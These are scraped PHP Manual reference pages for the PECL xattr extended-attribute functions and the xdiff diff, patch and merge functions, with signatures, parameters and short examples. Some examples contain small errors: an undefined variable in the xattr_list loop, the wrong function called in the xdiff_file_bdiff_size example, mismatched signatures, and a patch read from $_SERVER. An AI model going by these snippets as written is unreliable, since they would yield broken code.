  • Get a list of extended attributes

xattr_list

(PECL xattr >= 0.9.0)

xattr_list — Get a list of extended attributes

Description

array xattr_list ( string $filename [, int $flags = 0 ] )

This functions gets a list of names of extended attributes of a file.

Extended attributes have two different namespaces: user and root. The user namespace is available to all users, while the root namespace is available only to users with root privileges. xattr operates on the user namespace by default, but this can be changed with the flags parameter.

Parameters

filename

The path of the file.

flags

Supported xattr flags
XATTR_DONTFOLLOW | Do not follow the symbolic link but operate on symbolic link itself.
XATTR_ROOT | Set attribute in root (trusted) namespace. Requires root privileges.

Return Values

This function returns an array with names of extended attributes.

Examples

Example #1 Prints names of all extended attributes of file

<?php
$file = 'some_file';
$root_attributes = xattr_list($file, XATTR_ROOT);
$user_attributes = xattr_list($file);

echo "Root attributes: \n";
foreach ($root_attributes as $attr_name) {
    printf("%s\n", $attr_name);
}

echo "\n User attributes: \n";
foreach ($attributes as $attr_name) {
    printf("%s\n", $attr_name);
}

?>

See Also

  • xattr_get() - Get an extended attribute

User Contributed Notes

There are no user contributed notes for this page.


Remove an extended attribute

  • « xattr_list
  • xattr_set »
  • PHP Manual
  • xattr Functions
  • Remove an extended attribute

xattr_remove

(PECL xattr >= 0.9.0)

xattr_remove — Remove an extended attribute

Description

bool xattr_remove ( string $filename , string $name [, int $flags = 0 ] )

This function removes an extended attribute of a file.

Extended attributes have two different namespaces: user and root. The user namespace is available to all users, while the root namespace is available only to users with root privileges. xattr operates on the user namespace by default, but this can be changed with the flags parameter.

Parameters

filename

The file from which we remove the attribute.

name

The name of the attribute to remove.

flags

Supported xattr flags
XATTR_DONTFOLLOW | Do not follow the symbolic link but operate on symbolic link itself.
XATTR_ROOT | Set attribute in root (trusted) namespace. Requires root privileges.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Removes all extended attributes of a file

<?php
$file = 'some_file';
$attributes = xattr_list($file);

foreach ($attributes as $attr_name) {
    xattr_remove($file, $attr_name);
}
?>

See Also

  • xattr_list() - Get a list of extended attributes
  • xattr_set() - Set an extended attribute
  • xattr_get() - Get an extended attribute

User Contributed Notes

There are no user contributed notes for this page.


Set an extended attribute

  • « xattr_remove
  • xattr_supported »
  • PHP Manual
  • xattr Functions
  • Set an extended attribute

xattr_set

(PECL xattr >= 0.9.0)

xattr_set — Set an extended attribute

Description

bool xattr_set ( string $filename , string $name , string $value [, int $flags = 0 ] )

This function sets the value of an extended attribute of a file.

Extended attributes have two different namespaces: user and root. The user namespace is available to all users, while the root namespace is available only to users with root privileges. xattr operates on the user namespace by default, but this can be changed with the flags parameter.

Parameters

filename

The file in which we set the attribute.

name

The name of the extended attribute. This attribute will be created if it doesn't exist or replaced otherwise. You can change this behaviour by using the flags parameter.

value

The value of the attribute.

flags

Supported xattr flags
XATTR_CREATE | Function will fail if extended attribute already exists.
XATTR_REPLACE | Function will fail if extended attribute doesn't exist.
XATTR_DONTFOLLOW | Do not follow the symbolic link but operate on symbolic link itself.
XATTR_ROOT | Set attribute in root (trusted) namespace. Requires root privileges.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Sets extended attributes on .wav file

<?php
$file = 'my_favourite_song.wav';
xattr_set($file, 'Artist', 'Someone');
xattr_set($file, 'My ranking', 'Good');
xattr_set($file, 'Listen count', '34');

/* ... other code ... */

printf("You've played this song %d times", xattr_get($file, 'Listen count'));
?>

See Also

  • xattr_get() - Get an extended attribute
  • xattr_remove() - Remove an extended attribute

User Contributed Notes

There are no user contributed notes for this page.


Check if filesystem supports extended attributes

  • « xattr_set
  • xdiff »
  • PHP Manual
  • xattr Functions
  • Check if filesystem supports extended attributes

xattr_supported

(PECL xattr >= 1.0.0)

xattr_supported — Check if filesystem supports extended attributes

Description

bool xattr_supported ( string $filename [, int $flags = 0 ] )

This functions checks if the filesystem holding the given file supports extended attributes. Read access to the file is required.

Parameters

filename

The path of the tested file.

flags

Supported xattr flags
XATTR_DONTFOLLOW Do not follow the symbolic link but operate on symbolic link itself.

Return Values

This function returns TRUE if filesystem supports extended attributes, FALSE if it doesn't and NULL if it can't be determined (for example wrong path or lack of permissions to file).

Examples

Example #1 xattr_supported() example

The following code checks if we can use extended attributes.

<?php
$file = 'some_file';

if (xattr_supported($file)) {
    /* ... make use of some xattr_* functions ... */
}

?>

See Also

  • xattr_get() - Get an extended attribute
  • xattr_list() - Get a list of extended attributes

User Contributed Notes

There are no user contributed notes for this page.


xdiff

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • xdiff Functions
    • xdiff_file_bdiff_size — Read a size of file created by applying a binary diff
    • xdiff_file_bdiff — Make binary diff of two files
    • xdiff_file_bpatch — Patch a file with a binary diff
    • xdiff_file_diff_binary — Alias of xdiff_file_bdiff
    • xdiff_file_diff — Make unified diff of two files
    • xdiff_file_merge3 — Merge 3 files into one
    • xdiff_file_patch_binary — Alias of xdiff_file_bpatch
    • xdiff_file_patch — Patch a file with an unified diff
    • xdiff_file_rabdiff — Make binary diff of two files using the Rabin's polynomial fingerprinting algorithm
    • xdiff_string_bdiff_size — Read a size of file created by applying a binary diff
    • xdiff_string_bdiff — Make binary diff of two strings
    • xdiff_string_bpatch — Patch a string with a binary diff
    • xdiff_string_diff_binary — Alias of xdiff_string_bdiff
    • xdiff_string_diff — Make unified diff of two strings
    • xdiff_string_merge3 — Merge 3 strings into one
    • xdiff_string_patch_binary — Alias of xdiff_string_bpatch
    • xdiff_string_patch — Patch a string with an unified diff
    • xdiff_string_rabdiff — Make binary diff of two strings using the Rabin's polynomial fingerprinting algorithm

User Contributed Notes

There are no user contributed notes for this page.


Introduction

xdiff extension enables you to create and apply patch files containing differences between different revisions of files.

This extension supports two modes of operation - on strings and on files, as well as two different patch formats - unified and binary. Unified patches are excellent for text files as they are human-readable and easy to review. For binary files like archives or images, binary patches will be adequate choice as they are binary safe and handle non-printable characters well.

Starting from version 1.5.0 there are two different sets of functions for generating binary patches. New functions - xdiff_string_rabdiff() and xdiff_file_rabdiff() generate output compatible with older functions but are typically faster and generate smaller results. For more details about methods of generating binary patches and differences between them, please check » libxdiff website.

This extension uses libxdiff to implement these functions. Please see » http://www.xmailserver.org/xdiff-lib.html for more information.

User Contributed Notes

There are no user contributed notes for this page.


Requirements

To use xdiff, you will need libxdiff installed, available on the libxdiff homepage » http://www.xmailserver.org/xdiff-lib.html.

Note:

You'll need at least libxdiff 0.7 for these functions to be aware of memory_limit.

User Contributed Notes

There are no user contributed notes for this page.


Installation

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/xdiff.

A DLL for this PECL extension is currently unavailable. See also the building on Windows section.

User Contributed Notes

There are no user contributed notes for this page.


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

XDIFF_PATCH_NORMAL (integer)
This flag indicates that xdiff_string_patch() and xdiff_file_patch() functions should create result by applying patch to original content thus creating newer version of file. This is the default mode of operation.
XDIFF_PATCH_REVERSE (integer)
This flag indicated that xdiff_string_patch() and xdiff_file_patch() functions should create result by reversing patch changed from newer content thus creating original version.

User Contributed Notes

There are no user contributed notes for this page.


xdiff Functions

Table of Contents

  • xdiff_file_bdiff_size — Read a size of file created by applying a binary diff
  • xdiff_file_bdiff — Make binary diff of two files
  • xdiff_file_bpatch — Patch a file with a binary diff
  • xdiff_file_diff_binary — Alias of xdiff_file_bdiff
  • xdiff_file_diff — Make unified diff of two files
  • xdiff_file_merge3 — Merge 3 files into one
  • xdiff_file_patch_binary — Alias of xdiff_file_bpatch
  • xdiff_file_patch — Patch a file with an unified diff
  • xdiff_file_rabdiff — Make binary diff of two files using the Rabin's polynomial fingerprinting algorithm
  • xdiff_string_bdiff_size — Read a size of file created by applying a binary diff
  • xdiff_string_bdiff — Make binary diff of two strings
  • xdiff_string_bpatch — Patch a string with a binary diff
  • xdiff_string_diff_binary — Alias of xdiff_string_bdiff
  • xdiff_string_diff — Make unified diff of two strings
  • xdiff_string_merge3 — Merge 3 strings into one
  • xdiff_string_patch_binary — Alias of xdiff_string_bpatch
  • xdiff_string_patch — Patch a string with an unified diff
  • xdiff_string_rabdiff — Make binary diff of two strings using the Rabin's polynomial fingerprinting algorithm

User Contributed Notes

amir.laher 05-Apr-2005 11:09
the xdiff functions require your initial string to end with a \n character.

When you use xdiff_string_diff, the initial string must either be zero-length or end with \n
eg. $patch= xdiff_string_diff($string,$string2);

if not, the patch will return an empty string.
xdiff_string_patch($string,$patch);

This will not normally affect xdiff_file_diff, but it's annoying nevertheless. To prevent this unexpected effect, I append a \n to the string before applying the initial diff, as follows.
if (!ereg("\n$",$string)) $string.="\n";


Read a size of file created by applying a binary diff

  • « xdiff Functions
  • xdiff_file_bdiff »
  • PHP Manual
  • xdiff Functions
  • Read a size of file created by applying a binary diff

xdiff_file_bdiff_size

(PECL xdiff >= 1.5.0)

xdiff_file_bdiff_size — Read a size of file created by applying a binary diff

Description

int xdiff_file_bdiff_size ( string $file )

Returns a size of a result file that would be created after applying binary patch from file file to the original file.

Parameters

file

The path to the binary patch created by xdiff_string_bdiff() or xdiff_string_rabdiff() function.

Return Values

Returns the size of file that would be created.

Examples

Example #1 xdiff_file_bdiff_size() example

The following code applies reads a size of file that would be created after applying a binary diff.

<?php
$length = xdiff_string_bdiff_size('file.bdiff');
echo "Resulting file will be $length bytes long";
?>

See Also

  • xdiff_file_bdiff() - Make binary diff of two files
  • xdiff_file_rabdiff() - Make binary diff of two files using the Rabin's polynomial fingerprinting algorithm
  • xdiff_file_bpatch() - Patch a file with a binary diff

User Contributed Notes

There are no user contributed notes for this page.


Make binary diff of two files

  • « xdiff_file_bdiff_size
  • xdiff_file_bpatch »
  • PHP Manual
  • xdiff Functions
  • Make binary diff of two files

xdiff_file_bdiff

(PECL xdiff >= 1.5.0)

xdiff_file_bdiff — Make binary diff of two files

Description

bool xdiff_file_bdiff ( string $old_file , string $new_file , string $dest )

Makes a binary diff of two files and stores the result in a patch file. This function works with both text and binary files. Resulting patch file can be later applied using xdiff_file_bpatch()/xdiff_string_bpatch().

Parameters

old_file

Path to the first file. This file acts as "old" file.

new_file

Path to the second file. This file acts as "new" file.

dest

Path of the resulting patch file. Resulting file contains differences between "old" and "new" files. It is in binary format and is human-unreadable.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 xdiff_file_bdiff() example

The following code makes binary diff of two archives.

<?php
$old_version = 'my_script_1.0.tgz';
$new_version = 'my_script_1.1.tgz';

xdiff_file_bdiff($old_version, $new_version, 'my_script.bdiff');
?>

Notes

Note:

Both files will be loaded into memory so ensure that your memory_limit is set high enough.

See Also

  • xdiff_file_bpatch() - Patch a file with a binary diff

User Contributed Notes

There are no user contributed notes for this page.


Patch a file with a binary diff

  • « xdiff_file_bdiff
  • xdiff_file_diff_binary »
  • PHP Manual
  • xdiff Functions
  • Patch a file with a binary diff

xdiff_file_bpatch

(PECL xdiff >= 1.5.0)

xdiff_file_bpatch — Patch a file with a binary diff

Description

bool xdiff_file_bpatch ( string $file , string $patch , string $dest )

Patches a file with a binary patch and stores the result in a file dest. This function accepts patches created both via xdiff_file_bdiff() and xdiff_file_rabdiff() functions or their string counterparts.

Parameters

file

The original file.

patch

The binary patch file.

dest

Path of the resulting file.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 xdiff_file_bpatch() example

The following code applies binary diff to a file.

<?php
$old_version = 'archive-1.0.tgz';
$patch = 'archive.bpatch';

$result = xdiff_file_bpatch($old_version, $patch, 'archive-1.1.tgz');
if ($result) {
   echo "File patched";
} else {
   echo "File couldn't be patched";
}

?>

Notes

Note:

Both files (file and patch) will be loaded into memory so ensure that your memory_limit is set high enough.

See Also

  • xdiff_file_bdiff() - Make binary diff of two files
  • xdiff_file_rabdiff() - Make binary diff of two files using the Rabin's polynomial fingerprinting algorithm

User Contributed Notes

There are no user contributed notes for this page.


Alias of xdiff_file_bdiff

  • « xdiff_file_bpatch
  • xdiff_file_diff »
  • PHP Manual
  • xdiff Functions
  • Alias of xdiff_file_bdiff

xdiff_file_diff_binary

(PECL xdiff >= 0.2.0)

xdiff_file_diff_binary — Alias of xdiff_file_bdiff

Description

bool xdiff_file_diff_binary ( string $old_file , string $new_file , string $dest )

Makes a binary diff of two files and stores the result in a patch file. This function works with both text and binary files. Resulting patch file can be later applied using xdiff_file_bpatch().

Starting with version 1.5.0 this function is an alias of xdiff_file_bdiff().

Parameters

old_file

Path to the first file. This file acts as "old" file.

new_file

Path to the second file. This file acts as "new" file.

dest

Path of the resulting patch file. Resulting file contains differences between "old" and "new" files. It is in binary format and is human-unreadable.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 xdiff_file_diff_binary() example

The following code makes binary diff of two archives.

<?php
$old_version = 'my_script_1.0.tgz';
$new_version = 'my_script_1.1.tgz';

xdiff_file_diff_binary($old_version, $new_version, 'my_script.bdiff');
?>

Notes

Note:

Both files will be loaded into memory so ensure that your memory_limit is set high enough.

See Also

  • xdiff_file_bdiff() - Make binary diff of two files
  • xdiff_file_bpatch() - Patch a file with a binary diff

User Contributed Notes

There are no user contributed notes for this page.


Make unified diff of two files

  • « xdiff_file_diff_binary
  • xdiff_file_merge3 »
  • PHP Manual
  • xdiff Functions
  • Make unified diff of two files

xdiff_file_diff

(PECL xdiff >= 0.2.0)

xdiff_file_diff — Make unified diff of two files

Description

bool xdiff_file_diff ( string $old_file , string $new_file , string $dest [, int $context = 3 [, bool $minimal = false ]] )

Makes an unified diff containing differences between old_file and new_file and stores it in dest file. The resulting file is human-readable. An optional context parameter specifies how many lines of context should be added around each change. Setting minimal parameter to true will result in outputting the shortest patch file possible (can take a long time).

Parameters

old_file

Path to the first file. This file acts as "old" file.

new_file

Path to the second file. This file acts as "new" file.

dest

Path of the resulting patch file.

context

Indicates how many lines of context you want to include in diff result.

minimal

Set this parameter to TRUE if you want to minimalize size of the result (can take a long time).

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 xdiff_file_diff() example

The following code makes unified diff of two php files with context length of 2.

<?php
$old_version = 'my_script.php';
$new_version = 'my_new_script.php';

xdiff_file_diff($old_version, $new_version, 'my_script.diff', 2);
?>

Notes

Note:

This function doesn't work well with binary files. To make diff of binary files use xdiff_file_bdiff()/xdiff_file_rabdiff() function.

See Also

  • xdiff_file_patch() - Patch a file with an unified diff

User Contributed Notes

There are no user contributed notes for this page.


Merge 3 files into one

  • « xdiff_file_diff
  • xdiff_file_patch_binary »
  • PHP Manual
  • xdiff Functions
  • Merge 3 files into one

xdiff_file_merge3

(PECL xdiff >= 0.2.0)

xdiff_file_merge3 — Merge 3 files into one

Description

mixed xdiff_file_merge3 ( string $old_file , string $new_file1 , string $new_file2 , string $dest )

Merges three files into one and stores the result in a file dest. The old_file is an original version while new_file1 and new_file2 are modified versions of an original.

Parameters

old_file

Path to the first file. It acts as "old" file.

new_file1

Path to the second file. It acts as modified version of old_file.

new_file2

Path to the third file. It acts as modified version of old_file.

dest

Path of the resulting file, containing merged changed from both new_file1 and new_file2.

Return Values

Returns TRUE if merge was successful, string with rejected chunks if it was not or FALSE if an internal error happened.

Examples

Example #1 xdiff_file_merge3() example

The following code merges three files into one.

<?php
$old_version = 'original_script.php';
$fix1 = 'script_with_fix1.php';
$fix2 = 'script_with_fix2.php';

$errors = xdiff_file_merge3($old_version, $fix1, $fix2, 'fixed_script.php');
if (is_string($errors)) {
    echo "Rejects:\n";
    echo $errors;
}
?>

See Also

  • xdiff_string_merge3() - Merge 3 strings into one

User Contributed Notes

There are no user contributed notes for this page.


Alias of xdiff_file_bpatch

  • « xdiff_file_merge3
  • xdiff_file_patch »
  • PHP Manual
  • xdiff Functions
  • Alias of xdiff_file_bpatch

xdiff_file_patch_binary

(PECL xdiff >= 0.2.0)

xdiff_file_patch_binary — Alias of xdiff_file_bpatch

Description

bool xdiff_file_patch_binary ( string $file , string $patch , string $dest )

Patches a file with a binary patch and stores the result in a file dest. This function accepts patches created both via xdiff_file_bdiff() or xdiff_file_rabdiff() functions or their string counterparts.

Starting with version 1.5.0 this function is an alias of xdiff_file_bpatch().

Parameters

file

The original file.

patch

The binary patch file.

dest

Path of the resulting file.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 xdiff_file_patch_binary() example

The following code applies binary diff to a file.

<?php
$old_version = 'archive-1.0.tgz';
$patch = 'archive.bpatch';

$result = xdiff_file_patch_binary($old_version, $patch, 'archive-1.1.tgz');
if ($result) {
   echo "File patched";
} else {
   echo "File couldn't be patched";
}

?>

Notes

Note:

Both files (file and patch) will be loaded into memory so ensure that your memory_limit is set high enough.

See Also

  • xdiff_string_patch_binary() - Alias of xdiff_string_bpatch

User Contributed Notes

There are no user contributed notes for this page.


Patch a file with an unified diff

  • « xdiff_file_patch_binary
  • xdiff_file_rabdiff »
  • PHP Manual
  • xdiff Functions
  • Patch a file with an unified diff

xdiff_file_patch

(PECL xdiff >= 0.2.0)

xdiff_file_patch — Patch a file with an unified diff

Description

mixed xdiff_file_patch ( string $file , string $patch , string $dest [, int $flags = DIFF_PATCH_NORMAL ] )

Patches a file with a patch and stores the result in a file. patch has to be an unified diff created by xdiff_file_diff()/xdiff_string_diff() function. An optional flags parameter specifies mode of operation.

Parameters

file

The original file.

patch

The unified patch file. It has to be created using xdiff_string_diff(), xdiff_file_diff() functions or compatible tools.

dest

Path of the resulting file.

flags

Can be either XDIFF_PATCH_NORMAL (default mode, normal patch) or XDIFF_PATCH_REVERSE (reversed patch).

Starting from version 1.5.0, you can also use binary OR to enable XDIFF_PATCH_IGNORESPACE flag.

Return Values

Returns FALSE if an internal error happened, string with rejected chunks if patch couldn't be applied or TRUE if patch has been successfully applied.

Examples

Example #1 xdiff_file_patch() example

The following code applies unified diff to a file.

<?php
$old_version = 'my_script-1.0.php';
$patch = 'my_script.patch';

$errors = xdiff_file_patch($old_version, $patch, 'my_script-1.1.php');
if (is_string($errors)) {
   echo "Rejects:\n";
   echo $errors;
}

?>

Example #2 Patch reversing example

The following code reverses a patch.

<?php
$new_version = 'my_script-1.1.php';
$patch = 'my_script.patch';

$errors = xdiff_file_patch($new_version, $patch, 'my_script-1.0.php', XDIFF_PATCH_REVERSE);
if (is_string($errors)) {
   echo "Rejects:\n";
   echo $errors;
}

?>

See Also

  • xdiff_file_diff() - Make unified diff of two files

User Contributed Notes

There are no user contributed notes for this page.


Make binary diff of two files using the Rabin's polynomial fingerprinting algorithm

  • « xdiff_file_patch
  • xdiff_string_bdiff_size »
  • PHP Manual
  • xdiff Functions
  • Make binary diff of two files using the Rabin's polynomial fingerprinting algorithm

xdiff_file_rabdiff

(PECL xdiff >= 1.5.0)

xdiff_file_rabdiff — Make binary diff of two files using the Rabin's polynomial fingerprinting algorithm

Description

bool xdiff_file_rabdiff ( string $old_file , string $new_file , string $dest )

Makes a binary diff of two files and stores the result in a patch file. The difference between this function and xdiff_file_bdiff() is different algorithm used which should result in faster execution and smaller diff produced. This function works with both text and binary files. Resulting patch file can be later applied using xdiff_file_bpatch()/xdiff_string_bpatch().

For more details about differences between algorithm used please check » libxdiff website.

Parameters

old_file

Path to the first file. This file acts as "old" file.

new_file

Path to the second file. This file acts as "new" file.

dest

Path of the resulting patch file. Resulting file contains differences between "old" and "new" files. It is in binary format and is human-unreadable.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 xdiff_file_rabdiff() example

The following code makes binary diff of two archives.

<?php
$old_version = 'my_script_1.0.tgz';
$new_version = 'my_script_1.1.tgz';

xdiff_file_rabdiff($old_version, $new_version, 'my_script.bdiff');
?>

Notes

Note:

Both files will be loaded into memory so ensure that your memory_limit is set high enough.

See Also

  • xdiff_file_bpatch() - Patch a file with a binary diff

User Contributed Notes

There are no user contributed notes for this page.


Read a size of file created by applying a binary diff

  • « xdiff_file_rabdiff
  • xdiff_string_bdiff »
  • PHP Manual
  • xdiff Functions
  • Read a size of file created by applying a binary diff

xdiff_string_bdiff_size

(PECL xdiff >= 1.5.0)

xdiff_string_bdiff_size — Read a size of file created by applying a binary diff

Description

int xdiff_string_bdiff_size ( string $patch )

Returns a size of a result file that would be created after applying binary patch to the original file.

Parameters

patch

The binary patch created by xdiff_string_bdiff() or xdiff_string_rabdiff() function.

Return Values

Returns the size of file that would be created.

Examples

Example #1 xdiff_string_bdiff_size() example

The following code applies reads a size of file that would be created after applying a binary diff.

<?php
$binary_patch = file_get_contents('file.bdiff');
$length = xdiff_string_bdiff_size($binary_patch);
echo "Resulting file will be $length bytes long";
?>

See Also

  • xdiff_string_bdiff() - Make binary diff of two strings
  • xdiff_string_rabdiff() - Make binary diff of two strings using the Rabin's polynomial fingerprinting algorithm
  • xdiff_string_bpatch() - Patch a string with a binary diff

User Contributed Notes

There are no user contributed notes for this page.


Make binary diff of two strings

  • « xdiff_string_bdiff_size
  • xdiff_string_bpatch »
  • PHP Manual
  • xdiff Functions
  • Make binary diff of two strings

xdiff_string_bdiff

(PECL xdiff >= 1.5.0)

xdiff_string_bdiff — Make binary diff of two strings

Description

string xdiff_string_bdiff ( string $old_data , string $new_data )

Makes a binary diff of two strings and returns the result. This function works with both text and binary data. Resulting patch can be later applied using xdiff_string_bpatch()/xdiff_file_bpatch().

Parameters

old_data

First string with binary data. It acts as "old" data.

new_data

Second string with binary data. It acts as "new" data.

Return Values

Returns string with binary diff containing differences between "old" and "new" data or FALSE if an internal error occurred.

See Also

  • xdiff_string_bpatch() - Patch a string with a binary diff

User Contributed Notes

There are no user contributed notes for this page.


Patch a string with a binary diff

  • « xdiff_string_bdiff
  • xdiff_string_diff_binary »
  • PHP Manual
  • xdiff Functions
  • Patch a string with a binary diff

xdiff_string_bpatch

(PECL xdiff >= 1.5.0)

xdiff_string_bpatch — Patch a string with a binary diff

Description

string xdiff_string_bpatch ( string $str , string $patch )

Patches a string str with a binary patch. This function accepts patches created both via xdiff_string_bdiff() and xdiff_string_rabdiff() functions or their file counterparts.

Parameters

str

The original binary string.

patch

The binary patch string.

Return Values

Returns the patched string, or FALSE on error.

See Also

  • xdiff_string_bdiff() - Make binary diff of two strings
  • xdiff_string_rabdiff() - Make binary diff of two strings using the Rabin's polynomial fingerprinting algorithm

User Contributed Notes

There are no user contributed notes for this page.


Alias of xdiff_string_bdiff

  • « xdiff_string_bpatch
  • xdiff_string_diff »
  • PHP Manual
  • xdiff Functions
  • Alias of xdiff_string_bdiff

xdiff_string_diff_binary

(PECL xdiff >= 0.2.0)

xdiff_string_diff_binary — Alias of xdiff_string_bdiff

Description

string xdiff_string_bdiff ( string $old_data , string $new_data )

Makes a binary diff of two strings and returns the result. This function works with both text and binary data. Resulting patch can be later applied using xdiff_string_bpatch()/xdiff_file_bpatch().

Starting with version 1.5.0 this function is an alias of xdiff_string_bdiff().

Parameters

old_data

First string with binary data. It acts as "old" data.

new_data

Second string with binary data. It acts as "new" data.

Return Values

Returns string with result or FALSE if an internal error happened.

See Also

  • xdiff_string_bdiff() - Make binary diff of two strings
  • xdiff_string_bpatch() - Patch a string with a binary diff

User Contributed Notes

There are no user contributed notes for this page.


Make unified diff of two strings

  • « xdiff_string_diff_binary
  • xdiff_string_merge3 »
  • PHP Manual
  • xdiff Functions
  • Make unified diff of two strings

xdiff_string_diff

(PECL xdiff >= 0.2.0)

xdiff_string_diff — Make unified diff of two strings

Description

string xdiff_string_diff ( string $old_data , string $new_data [, int $context = 3 [, bool $minimal = false ]] )

Makes an unified diff containing differences between old_data string and new_data string and returns it. The resulting diff is human-readable. An optional context parameter specifies how many lines of context should be added around each change. Setting minimal parameter to true will result in outputting the shortest patch file possible (can take a long time).

Parameters

old_data

First string with data. It acts as "old" data.

new_data

Second string with data. It acts as "new" data.

context

Indicates how many lines of context you want to include in the diff result.

minimal

Set this parameter to TRUE if you want to minimalize the size of the result (can take a long time).

Return Values

Returns string with resulting diff or FALSE if an internal error happened.

Examples

Example #1 xdiff_string_diff() example

The following code makes unified diff of two articles.

<?php
$old_article = file_get_contents('./old_article.txt');
$new_article = $_REQUEST['article']; /* Let's say that someone pasted a new article to html form */

$diff = xdiff_string_diff($old_article, $new_article, 1);
if (is_string($diff)) {
    echo "Differences between two articles:\n";
    echo $diff;
}

?>

Notes

Note:

This function doesn't work well with binary strings. To make diff of binary strings use xdiff_string_bdiff()/xdiff_string_rabdiff().

See Also

  • xdiff_string_patch() - Patch a string with an unified diff

User Contributed Notes

There are no user contributed notes for this page.


Merge 3 strings into one

  • « xdiff_string_diff
  • xdiff_string_patch_binary »
  • PHP Manual
  • xdiff Functions
  • Merge 3 strings into one

xdiff_string_merge3

(PECL xdiff >= 0.2.0)

xdiff_string_merge3 — Merge 3 strings into one

Description

mixed xdiff_string_merge3 ( string $old_data , string $new_data1 , string $new_data2 [, string &$error ] )

Merges three strings into one and returns the result. The old_data is an original version of data while new_data1 and new_data2 are modified versions of an original. An optional error is used to pass any rejected parts during merging process.

Parameters

old_data

First string with data. It acts as "old" data.

new_data1

Second string with data. It acts as modified version of old_data.

new_data2

Third string with data. It acts as modified version of old_data.

error

If provided then rejected parts are stored inside this variable.

Return Values

Returns the merged string, FALSE if an internal error happened, or TRUE if merged string is empty.

See Also

  • xdiff_file_merge3() - Merge 3 files into one

User Contributed Notes

There are no user contributed notes for this page.


Alias of xdiff_string_bpatch

  • « xdiff_string_merge3
  • xdiff_string_patch »
  • PHP Manual
  • xdiff Functions
  • Alias of xdiff_string_bpatch

xdiff_string_patch_binary

(PECL xdiff >= 0.2.0)

xdiff_string_patch_binary — Alias of xdiff_string_bpatch

Description

string xdiff_string_patch_binary ( string $str , string $patch )

Patches a string str with a binary patch. This function accepts patches created both via xdiff_string_bdiff() and xdiff_string_rabdiff() functions or their file counterparts.

Starting with version 1.5.0 this function is an alias of xdiff_string_bpatch().

Parameters

str

The original binary string.

patch

The binary patch string.

Return Values

Returns the patched string, or FALSE on error.

See Also

  • xdiff_string_bpatch() - Patch a string with a binary diff
  • xdiff_string_bdiff() - Make binary diff of two strings
  • xdiff_string_rabdiff() - Make binary diff of two strings using the Rabin's polynomial fingerprinting algorithm

User Contributed Notes

There are no user contributed notes for this page.


Patch a string with an unified diff

  • « xdiff_string_patch_binary
  • xdiff_string_rabdiff »
  • PHP Manual
  • xdiff Functions
  • Patch a string with an unified diff

xdiff_string_patch

(PECL xdiff >= 0.2.0)

xdiff_string_patch — Patch a string with an unified diff

Description

string xdiff_string_patch ( string $str , string $patch [, int $flags [, string &$error ]] )

Patches a str string with an unified patch in patch parameter and returns the result. patch has to be an unified diff created by xdiff_file_diff()/xdiff_string_diff() function. An optional flags parameter specifies mode of operation. Any rejected parts of the patch will be stored inside error variable if it is provided.

Parameters

str

The original string.

patch

The unified patch string. It has to be created using xdiff_string_diff(), xdiff_file_diff() functions or compatible tools.

flags

flags can be either XDIFF_PATCH_NORMAL (default mode, normal patch) or XDIFF_PATCH_REVERSE (reversed patch).

Starting from version 1.5.0, you can also use binary OR to enable XDIFF_PATCH_IGNORESPACE flag.

error

If provided then rejected parts are stored inside this variable.

Return Values

Returns the patched string, or FALSE on error.

Examples

Example #1 xdiff_string_patch() example

The following code applies changes to some article.

<?php
$old_article = file_get_contents('./old_article.txt');
$diff = $_SERVER['patch']; /* Let's say that someone pasted a patch to html form */

$errors = '';

$new_article = xdiff_string_patch($old_article, $diff, XDIFF_PATCH_NORMAL, $errors);
if (is_string($new_article)) {
    echo "New article:\n";
    echo $new_article;
}

if (strlen($errors)) {
    echo "Rejects: \n";
    echo $errors;
}

?>

See Also

  • xdiff_string_diff() - Make unified diff of two strings

User Contributed Notes

There are no user contributed notes for this page.


Make binary diff of two strings using the Rabin's polynomial fingerprinting algorithm

  • « xdiff_string_patch
  • Human Language and Character Encoding Support »
  • PHP Manual
  • xdiff Functions
  • Make binary diff of two strings using the Rabin's polynomial fingerprinting algorithm

xdiff_string_rabdiff

(PECL xdiff >= 1.5.0)

xdiff_string_rabdiff — Make binary diff of two strings using the Rabin's polynomial fingerprinting algorithm

Description

string xdiff_string_bdiff ( string $old_data , string $new_data )

Makes a binary diff of two strings and returns the result. The difference between this function and xdiff_string_bdiff() is different algorithm used which should result in faster execution and smaller diff produced. This function works with both text and binary data. Resulting patch can be later applied using xdiff_string_bpatch()/xdiff_file_bpatch().

For more details about differences between algorithm used please check » libxdiff website.

Parameters

old_data

First string with binary data. It acts as "old" data.

new_data

Second string with binary data. It acts as "new" data.

Return Values

Returns string with binary diff containing differences between "old" and "new" data or FALSE if an internal error occurred.

See Also

  • xdiff_string_bpatch() - Patch a string with a binary diff

User Contributed Notes

There are no user contributed notes for this page.


Human Language and Character Encoding Support

  • Enchant — Enchant spelling library
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • Enchant Functions
  • FriBiDi
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • FriBiDi Functions
  • Gender — Determine gender of firstnames
    • Introduction
    • Installing/Configuring
    • Examples
    • Gender\Gender — The Gender\Gender class
  • Gettext
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Gettext Functions
  • iconv
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • iconv Functions
  • intl — Internationalization Functions
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • Collator — The Collator class
    • NumberFormatter — The NumberFormatter class
    • Locale — The Locale class
    • Normalizer — The Normalizer class
    • MessageFormatter — The MessageFormatter class
    • IntlCalendar — The IntlCalendar class
    • IntlTimeZone — The IntlTimeZone class
    • IntlDateFormatter — The IntlDateFormatter class
    • ResourceBundle — The ResourceBundle class
    • Spoofchecker — The Spoofchecker class
    • Transliterator — The Transliterator class
